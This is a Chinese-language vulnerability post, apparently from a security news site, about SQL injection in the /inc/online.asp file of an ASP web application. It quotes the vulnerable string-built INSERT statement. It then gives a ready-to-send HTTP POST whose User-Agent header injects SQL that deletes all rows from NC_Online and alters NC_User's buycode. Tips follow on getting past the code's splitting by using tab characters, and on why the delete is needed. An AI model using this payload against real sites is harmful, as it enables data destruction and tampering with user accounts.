在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
受影响系统:
最新版本 漏洞文件: /inc/online.asp 代码分析如下: OnlineSQL = "INSERT INTO NC_Online(id,ChannelID,username,identitys,station,ip,browser,startTime,lastTime,userid,strReferer) VALUES (" & UserSessionID & "," & cid & ",'" & strUsername & "','" & stridentitys & "','" & CurrentStation & "','" & remoteaddr & "','" & BrowserType.platform&"|"&BrowserType.Browser&BrowserType.version & "|"&BrowserType.AlexaToolbar&"'," & NowString & "," & NowString & "," & userid & ",'" & strReferer & "')" //第69行 。。。。。。 Agent = Request.ServerVariables("HTTP_USER_AGENT") //第99行 。。。。。。 ElseIf Left(Agent, 5) = "Opera" Then '有此标识为浏览器 //第162行 Agent = Split(Agent, "/") Browser = "Mozilla " Tmpstr = Split(Agent(1), " ") version = Tmpstr(0) HTTP_USER_AGENT我们可以控制,则version变量我们就可以控制了。 构造数据包如下: POST /inc/online.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://localhost/xx.htm Accept-Language: zh-cn UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Opera/haha',2008,2009,11111,'');delete from NC_Online;update[NC_User]set[buycode]=7;-- Host: localhost Connection: Keep-Alive Cookie: ASPSESSIONIDAABBCRRS=FFGNDBDDKJLFADOGOMKLBGPF 成功执行sql语句 注意的地方: 1. 在两次分割成数组的时候是以"/"和" ",所以构造的sql语句时使用的间隔符就不能用/**/和空格,上面是使用tab键弄出来的空格。 2. 一定要加上delete from NC_Online,不然下次程序就不执行insert语句,而改成执行update语句了。 |
请发表评论